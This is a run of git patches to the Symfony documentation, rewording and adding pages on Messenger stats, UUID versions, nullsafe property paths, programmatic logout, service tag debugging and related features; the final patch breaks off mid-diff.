Subject: [PATCH 3723/7107] [Messenger] Add new `messenger:stats` command that
 return a list of transports with their "to be processed" message count.

---
 messenger.rst | 31 +++++++++++++++++++++++++++++--
 1 file changed, 29 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 65d9da096ed..508e20f363a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -640,8 +640,35 @@ You can limit the worker to only process messages from specific queue(s):
     # you can pass the --queues option more than once to process multiple queues
     $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
 
-To allow using the ``queues`` option, the receiver must implement the
-:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+.. note::
+
+    To allow using the ``queues`` option, the receiver must implement the
+    :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. _messenger-message-count:
+
+Knowing the number of messages in the "queue" for transport(s)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to know how many messages are in the "queues",
+you can do so with the ``messenger:stats`` command:
+
+.. code-block:: terminal
+
+    # displays the number of messages in the "queue" for all transports
+    $ php bin/console messenger:stats
+
+    # or specific transport(s) only
+    $ php bin/console messenger:stats my_transport_name other_transport_name
+
+.. note::
+    
+    This command won't work if the configured transport's receiver does not implement
+    :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
+
+.. versionadded:: 6.2
+
+    The ``messenger:stats`` command was introduced in Symfony 6.2.
 
 .. _messenger-supervisor:
 

From 0d8bd19e046ad486db0538f1c67e697f56be400e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:10:19 +0200
Subject: [PATCH 3724/7107] Minor rewords

---
 messenger.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 508e20f363a..94e7df74aa7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -647,23 +647,23 @@ You can limit the worker to only process messages from specific queue(s):
 
 .. _messenger-message-count:
 
-Knowing the number of messages in the "queue" for transport(s)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Checking the Number of Queued Messages Per Transport
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to know how many messages are in the "queues",
-you can do so with the ``messenger:stats`` command:
+Run the ``messenger:stats`` command to know how many messages are in the "queues"
+of some or all transports:
 
 .. code-block:: terminal
 
-    # displays the number of messages in the "queue" for all transports
+    # displays the number of queued messages in all transports
     $ php bin/console messenger:stats
 
-    # or specific transport(s) only
+    # shows stats only for some transports
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
 .. note::
     
-    This command won't work if the configured transport's receiver does not implement
+    In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
 .. versionadded:: 6.2

From f419727db3e2b1efb4306de0bd47b57f22a6ad7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:42:35 +0200
Subject: [PATCH 3725/7107] Minor tweaks

---
 components/uid.rst             | 9 ++++-----
 reference/constraints/Uuid.rst | 9 ++++-----
 2 files changed, 8 insertions(+), 10 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index d464f7c3796..ab96074487b 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -63,21 +63,20 @@ to create each type of UUID::
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-    // UUID version 7 features a time-ordered value field derived from the widely implemented and well known
-    // Unix Epoch timestamp source, the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
+    // UUID version 7 features a time-ordered value field derived from the well known
+    // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
     // As well as improved entropy characteristics over versions 1 or 6.
     $uuid = Uuid::v7();
 
     // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
-    // The only requirement is that the variant and version bits
-    // MUST be set as defined in Section 4:
+    // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
     // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
     // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 
-    Versions 7 and 8 were introduced in Symfony 6.2.
+    UUID versions 7 and 8 were introduced in Symfony 6.2.
 
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 06fdbb86147..14f6a3916e3 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -114,8 +114,9 @@ will allow alternate input formats like:
 
 **type**: ``int[]`` **default**: ``[1,2,3,4,5,6,7,8]``
 
-This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 8.
-The following PHP constants can also be used:
+This option can be used to only allow specific `UUID versions`_ (by default, all
+of them are allowed). Valid versions are 1 - 8. Instead of using numeric values,
+you can also use the following PHP constants to refer to each UUID version:
 
 * ``Uuid::V1_MAC``
 * ``Uuid::V2_DCE``
@@ -128,9 +129,7 @@ The following PHP constants can also be used:
 
 .. versionadded:: 6.2
 
-    Versions 7 and 8 were introduced in Symfony 6.2.
-
-All versions are allowed by default.
+    UUID versions 7 and 8 were introduced in Symfony 6.2.
 
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From ae01b3260cfae541b128e5e5752770b2631fa4eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 10:43:32 +0200
Subject: [PATCH 3726/7107] Minor typo

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index ab96074487b..ef226ac89a2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,7 +71,7 @@ to create each type of UUID::
     // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
     // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
     // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
-    // UUIDv8's uniqueness will be implementation-specific and SHOULD NOT be assumed.
+    // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
 .. versionadded:: 6.2

From 996ab53f942f458d7ae48aa84d790393f21a8c95 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 1 Oct 2022 10:42:43 +0200
Subject: [PATCH 3727/7107] [Kernel] Mention extra interfaces in `MicroKernel`
 section

---
 configuration/micro_kernel_trait.rst  | 38 +++++++++++++++++++++++++++
 service_container/compiler_passes.rst |  2 ++
 2 files changed, 40 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 16402bd5a54..1d37d9843cb 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -102,6 +102,44 @@ that define your bundles, your services and your routes:
     ``RouteCollectionBuilder`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
+Adding Interfaces to "Micro" Kernel
+-----------------------------------
+
+When using the ``MicroKernelTrait``, you can also implement the
+``CompilerPassInterface`` to automatically register the kernel itself as a
+compiler pass as explained in the dedicated
+:ref:`compiler pass section <kernel-as-compiler-pass>`.
+
+It is also possible to implement the ``EventSubscriberInterface`` to handle
+events directly from the kernel, again it will be registered automatically::
+
+    // ...
+    use App\Exception\Danger;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\ExceptionEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class Kernel extends BaseKernel implements EventSubscriberInterface
+    {
+        use MicroKernelTrait;
+
+        // ...
+
+        public function onKernelException(ExceptionEvent $event): void
+        {
+            if ($event->getException() instanceof Danger) {
+                $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
+            }
+        }
+
+        public static function getSubscribedEvents(): array
+        {
+            return [
+                KernelEvents::EXCEPTION => 'onKernelException',
+            ];
+        }
+    }
+
 Advanced Example: Twig, Annotations and the Web Debug Toolbar
 -------------------------------------------------------------
 
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 79f666a4237..d0e55c1f51e 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -32,6 +32,8 @@ Compiler passes are registered in the ``build()`` method of the application kern
         }
     }
 
+.. _kernel-as-compiler-pass:
+
 One of the most common use-cases of compiler passes is to work with :doc:`tagged
 services </service_container/tags>`. In those cases, instead of creating a
 compiler pass, you can make the kernel implement

From 84c8a38eeffd15081d6dadecaa88bfd7bd5210f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 11:37:51 +0200
Subject: [PATCH 3728/7107] Minor tweak

---
 testing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index adbd28989ae..522508135dc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -284,11 +284,10 @@ Mocking Dependencies
 --------------------
 
 Sometimes it can be useful to mock a dependency of a tested service.
-
 From the example in the previous section, let's assume the
 ``NewsletterGenerator`` has a dependency to a private alias
 ``NewsRepositoryInterface`` pointing to a private ``NewsRepository`` service
-and we would like to use a mocked ``NewsRepositoryInterface`` instead of the
+and you'd like to use a mocked ``NewsRepositoryInterface`` instead of the
 concrete one::
 
     // ...
@@ -320,7 +319,7 @@ concrete one::
     }
 
 In order to make the alias public, you will need to update configuration for
-the ``test`` environment as follow:
+the ``test`` environment as follows:
 
 .. configuration-block::
 

From 36dc4e3d5ccd5136a396b819d1ba53cd22f4b9f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Oct 2022 12:46:23 +0200
Subject: [PATCH 3729/7107] Add the versionadded directive

---
 serializer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index a27ecccecb3..64fd17e085b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -158,6 +158,10 @@ configuration:
             ;
         };
 
+.. versionadded:: 6.2
+
+    The option to configure YAML indentation was introduced in Symfony 6.2.
+
 .. _serializer-using-context-builders:
 
 Using Context Builders

From 67ab35adfca6adb131c04814b1adc67566d8984f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Oct 2022 07:42:22 +0200
Subject: [PATCH 3730/7107] Remove unused versionadded directives

---
 reference/configuration/framework.rst    | 4 ----
 service_container/service_decoration.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2197919a85c..e4b21485fae 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2713,10 +2713,6 @@ A map with default context options that will be used with each ``serialize`` and
 call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
 to a `json_encode flags bitmask`_.
 
-.. versionadded:: 5.4
-
-    The ``default_context`` parameter was introduced in Symfony 5.4.
-
 php_errors
 ~~~~~~~~~~
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index c8921c53c62..0cc7929beb1 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -527,10 +527,6 @@ The result will be::
 
     The ``Baz`` frame id will now be ``.decorated_foo_stack.second``.
 
-.. versionadded:: 5.1
-
-    The ability to define ``stack`` was introduced in Symfony 5.1.
-
 Control the Behavior When the Decorated Service Does Not Exist
 --------------------------------------------------------------
 

From ab52db06f80d9bc856f82c40f74d91007e9f9068 Mon Sep 17 00:00:00 2001
From: Jeffrey Cafferata <jeffrey@jcid.nl>
Date: Tue, 4 Oct 2022 08:46:09 +0200
Subject: [PATCH 3731/7107] Fix typo

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 0df4ec0ef08..29a74136f63 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -301,7 +301,7 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
-    // when passing an array of prefix/sufix, only the first one found is trimmed
+    // when passing an array of prefix/suffix, only the first one found is trimmed
     u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
     u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 

From 7571086567bb35af1668a587e46e42c50a6a18dd Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Fri, 24 Jun 2022 21:58:19 +0200
Subject: [PATCH 3732/7107] Update serializer.rst

I have checked  ``ObjectNormalizer`` and I found only methods start by (has,  get,  and  can) can be detected automatically for normalising them

Am I wrong?
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 81707bc5a05..7b5c7af5ca0 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -639,8 +639,8 @@ If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
 automatically detect and use it to serialize related attributes.
 
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
-and ``remove``.
+The ``ObjectNormalizer`` also takes care of methods starting with ``has`` and
+``get``.
 
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------

From 6f72b56570935a4b19376bb98189c14833341e31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 15:41:20 +0200
Subject: [PATCH 3733/7107] Minor tweak

---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index af9e79f7723..75e07fddfb6 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -124,7 +124,7 @@ These are the most important methods that a form type class can define:
     method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
     type extensions, before calling the corresponding method of your custom type.
     This is probably a good idea if you're just changing some details of an
-    existing type. To start from scratch, just omit ``getParent()``.
+    existing type. To start from scratch, omit ``getParent()``.
 
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used

From 4c55db326d1dd9d3fa4a0699ed97406b015a5d39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 16:40:32 +0200
Subject: [PATCH 3734/7107] Reword

---
 components/property_access.rst | 63 ++++++++++++++++++----------------
 1 file changed, 33 insertions(+), 30 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 9a2890b3e88..fcd0551c257 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -104,36 +104,6 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. tip::
-
-    You can give an object graph with nullable object.
-
-    Given an object graph ``comment.person.profile``, where ``person`` is optional (can be null),
-    you can call the property accessor with ``comment.person?.profile`` (using the nullsafe
-    operator) to avoid exception.
-
-    For example::
-
-        class Person
-        {
-        }
-        class Comment
-        {
-            public ?Person $person = null;
-            public string $message;
-        }
-
-        $comment = new Comment();
-        $comment->message = 'test';
-
-        // This code throws an exception of type
-        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
-        var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
-
-        // The code now returns null, instead of throwing an exception of type
-        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException,
-        var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
-
 .. caution::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
@@ -223,6 +193,39 @@ method::
     // instead of throwing an exception the following code returns null
     $value = $propertyAccessor->getValue($person, 'birthday');
 
+Accessing Nullable Property Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Consider the following PHP code::
+
+    class Person
+    {
+    }
+
+    class Comment
+    {
+        public ?Person $person = null;
+        public string $message;
+    }
+
+    $comment = new Comment();
+    $comment->message = 'test';
+
+Given that ``$person`` is nullable, an object graph like ``comment.person.profile``
+will trigger an exception when the ``$person`` property is ``null``. The solution
+is to mark all nullable properties with the nullsafe operator (``?``)::
+
+    // This code throws an exception of type
+    // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
+    var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
+
+    // If a property marked with the nullsafe operator is null, the expression is
+    // no longer evaluated and null is returned immediately without throwing an exception
+    var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
+
+.. versionadded:: 6.2
+
+    The ``?`` nullsafe operator was introduced in Symfony 6.2.
 
 .. _components-property-access-magic-get:
 

From 26a7fab00b831cab5beb8c90ccd0f206020f08cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Halin?= <jeremy.halin@gmail.com>
Date: Tue, 4 Oct 2022 16:14:27 +0200
Subject: [PATCH 3735/7107] docs(console): add caution for testing option

Add a caution about `InputOption::VALUE_NONE` testing.
Passing only a value without a key doesn't work and can lead to misunderstanding.
---
 console.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/console.rst b/console.rst
index 9dd9cecddb4..ed7ff754c78 100644
--- a/console.rst
+++ b/console.rst
@@ -546,6 +546,15 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
         $application->setAutoExit(false);
 
         $tester = new ApplicationTester($application);
+        
+
+.. caution::
+
+    When testing ``InputOption::VALUE_NONE`` command option, be sure to pass an empty
+    value like so::
+    
+        $commandTester = new CommandTester($command);
+        $commandTester->execute(['--some-option' => '']);
 
 .. note::
 

From ef0dc2b796b50a34761fd3951850c972ba90e0ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 17:48:16 +0200
Subject: [PATCH 3736/7107] Minor tweak

---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index ed7ff754c78..47bd8e9b786 100644
--- a/console.rst
+++ b/console.rst
@@ -550,8 +550,8 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 .. caution::
 
-    When testing ``InputOption::VALUE_NONE`` command option, be sure to pass an empty
-    value like so::
+    When testing ``InputOption::VALUE_NONE`` command options, you must pass an
+    empty value to them::
     
         $commandTester = new CommandTester($command);
         $commandTester->execute(['--some-option' => '']);

From 3c0734a7aca1833a910f2df46710032a5b5588a5 Mon Sep 17 00:00:00 2001
From: Jonathan Cox <jc@jonathancox.dev>
Date: Thu, 26 May 2022 08:24:51 -0400
Subject: [PATCH 3737/7107] Change 'ignore' element to attribute in Serializer
 XML example

---
 components/serializer.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 46dff2c12c8..1690959defa 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -517,9 +517,7 @@ Option 1: Using ``@Ignore`` Annotation
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\MyClass">
-                <attribute name="bar">
-                    <ignore>true</ignore>
-                </attribute>
+                <attribute name="bar" ignore="true"/>
             </class>
         </serializer>
 

From 98a717a63e0b7095bdfc07a2891dead1c6657bf5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:16:02 +0200
Subject: [PATCH 3738/7107] [HttpKernel] Document the `terminate_on_cache_hit`
 option

---
 reference/configuration/framework.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 73b35de2336..b6380101345 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -144,6 +144,22 @@ which the cache can serve a stale response when an error is encountered
 (default: 60). This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
+terminate_on_cache_hit
+......................
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``true``, the :ref:`kernel.terminate <component-http-kernel-kernel-terminate>`
+event is dispatched even when the cache is hit.
+
+Unless your application needs to process events on cache hits, it's recommended
+to set this to ``false`` to improve performance, because it avoids having to
+bootstrap the Symfony framework on a cache hit.
+
+.. versionadded:: 6.2
+
+    The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
+
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 5611f88211a9ee8341cc8fcd52a0ca0446bc52e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Arnaud=20Fr=C3=A9zet?= <arnaud@les-tilleuls.coop>
Date: Thu, 22 Sep 2022 00:03:37 +0200
Subject: [PATCH 3739/7107] docs: add docs for programmatic logout

---
 security.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/security.rst b/security.rst
index c70b01d8652..5641e825742 100644
--- a/security.rst
+++ b/security.rst
@@ -1723,6 +1723,49 @@ Next, you need to create a route for this URL (but not a controller):
 That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
 Symfony will un-authenticate the current user and redirect them.
 
+Logout programmatically
+-----------------------
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    class was introduced in Symfony 6.2. Prior to 6.2, it was called
+    ``Symfony\Component\Security\Core\Security``.
+
+.. versionadded:: 6.2
+
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
+    method was introduced in Symfony 6.2.
+
+You can logout user programmatically using the `logout()` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper. The user will be logout from the current firewall
+in the request. If the current request is not behind a firewall a ``\LogicException`` will be thrown. ::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller\SecurityController;
+
+    use App\Security\Authenticator\ExampleAuthenticator;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+
+    class SecurityController
+    {
+        public function someAction(Security $security): Response
+        {
+            // logout the user in on the current firewall
+            $response = $this->security->logout();
+
+            // You can also disable the csrf logout
+            $response = $this->security->logout(false);
+
+            if ($response !== null) {
+                return $response;
+            }
+
+            // Redirect to the homepage for instance
+            // ...
+        }
+    }
+
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 

From 347f749a8063c6c8ef11278c4429ab6f0baf7d59 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Oct 2022 12:24:12 +0200
Subject: [PATCH 3740/7107] minor #17325 Fix typo (cafferata)

This PR was merged into the 6.2 branch.

Discussion
----------

Fix typo

Fixed small typo (`sufix` = `suffix`).

Commits
-------

ab52db06f Fix typo
---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index caff1413382..17edd37d802 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -313,7 +313,7 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
-    // when passing an array of prefix/sufix, only the first one found is trimmed
+    // when passing an array of prefix/suffix, only the first one found is trimmed
     u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
     u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 

From 63c2a8d5b7622c3463b307477ad147940c8602c1 Mon Sep 17 00:00:00 2001
From: Vladimir Shevelev <BOB41K@narod.ru>
Date: Thu, 18 Aug 2022 15:11:19 +0700
Subject: [PATCH 3741/7107] [DependencyInjection] Add information about
 debugging tagged services

---
 service_container/debug.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index e949f6234f9..8d174c41723 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -21,6 +21,33 @@ To see a list of all of the available types that can be used for autowiring, run
 
     $ php bin/console debug:autowiring
 
+How to Debug Service Tags & List Tagged Services
+------------------------------------
+You can find out what services are tagged with a specific tag using the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=kernel.event_listener
+
+Partial search is also available:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=kernel
+    
+    Select one of the following tags to display its information:
+     [0] kernel.event_listener
+     [1] kernel.event_subscriber
+     [2] kernel.reset
+     [3] kernel.cache_warmer
+     [4] kernel.locale_aware
+     [5] kernel.fragment_renderer
+     [6] kernel.cache_clearer
+
+.. versionadded:: 6.2
+
+    The partial search was introduced in Symfony 6.2.
+
 Detailed Info about a Single Service
 ------------------------------------
 

From 994136dce9bbd35c2f93e5c23db6aa691cf29395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 15:09:52 +0200
Subject: [PATCH 3742/7107] Minor reword

---
 service_container/debug.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 8d174c41723..088fea4ef38 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -21,9 +21,11 @@ To see a list of all of the available types that can be used for autowiring, run
 
     $ php bin/console debug:autowiring
 
-How to Debug Service Tags & List Tagged Services
-------------------------------------
-You can find out what services are tagged with a specific tag using the following command:
+Debugging Service Tags
+----------------------
+
+Run the following command to find out what services are :doc:`tagged </service_container/tags>`
+with a specific tag:
 
 .. code-block:: terminal
 

From 3d89933398a94210c9499ee6bf3e887943410c7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 15:32:56 +0200
Subject: [PATCH 3743/7107] Minor tweaks

---
 http_client.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 9cc534f00db..0025718a591 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -756,16 +756,16 @@ is installed and enabled. Otherwise, the native PHP streams will be used.
 HTTP Compression
 ~~~~~~~~~~~~~~~~
 
-A HTTP header ``Accept-Encoding: gzip`` is added automatically if ...
+The HTTP header ``Accept-Encoding: gzip`` is added automatically if:
 
-* cURL Client: ... cURL was compiled with ZLib support (see ``php --ri curl``)
-* Native Http Client: ... `Zlib PHP extension`_ is installed
+* When using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
+* When using the native HTTP client: `Zlib PHP extension`_ is installed
 
 If the server does respond with a gzipped response, it's decoded transparently.
-
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 
-Chunked transfer encoding is enabled automatically if both your PHP runtime and the remote server supports it.
+Chunked transfer encoding is enabled automatically if both your PHP runtime and
+the remote server supports it.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 835a8e05284b9b7cefabc7dc365bc58586632af9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Oct 2022 16:35:13 +0200
Subject: [PATCH 3744/7107] Fix code syntax

---
 routing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 113f27eddf5..b657f8b3762 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2194,7 +2194,8 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
     class SomeService
     {
         public function __construct(private UrlGeneratorInterface $router)
-        {}
+        {
+        }
 
         public function someMethod()
         {

From 48f0d4fe0810f7307e41e29f025cfb688a960e07 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Jul 2022 11:13:11 +0200
Subject: [PATCH 3745/7107] Expanding recommendation for `finishView()`...

... to include the widgets created by ChoiceType as well.

Might conflict with a minor change I just did in https://github.com/symfony/symfony-docs/pull/17066
---
 form/create_custom_field_type.rst | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 75e07fddfb6..dbca331e050 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -133,17 +133,30 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``finishView()``
-    When creating a form type that consists of many fields, this method allows
-    to modify the "view" of any of those fields. For any other use case, it's
-    recommended to use ``buildView()`` instead.
-
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
     the options that can be used in ``buildForm()`` and ``buildView()``
     methods. Options are inherited from parent types and parent type
     extensions, but you can create any custom option you need.
 
+``finishView()``
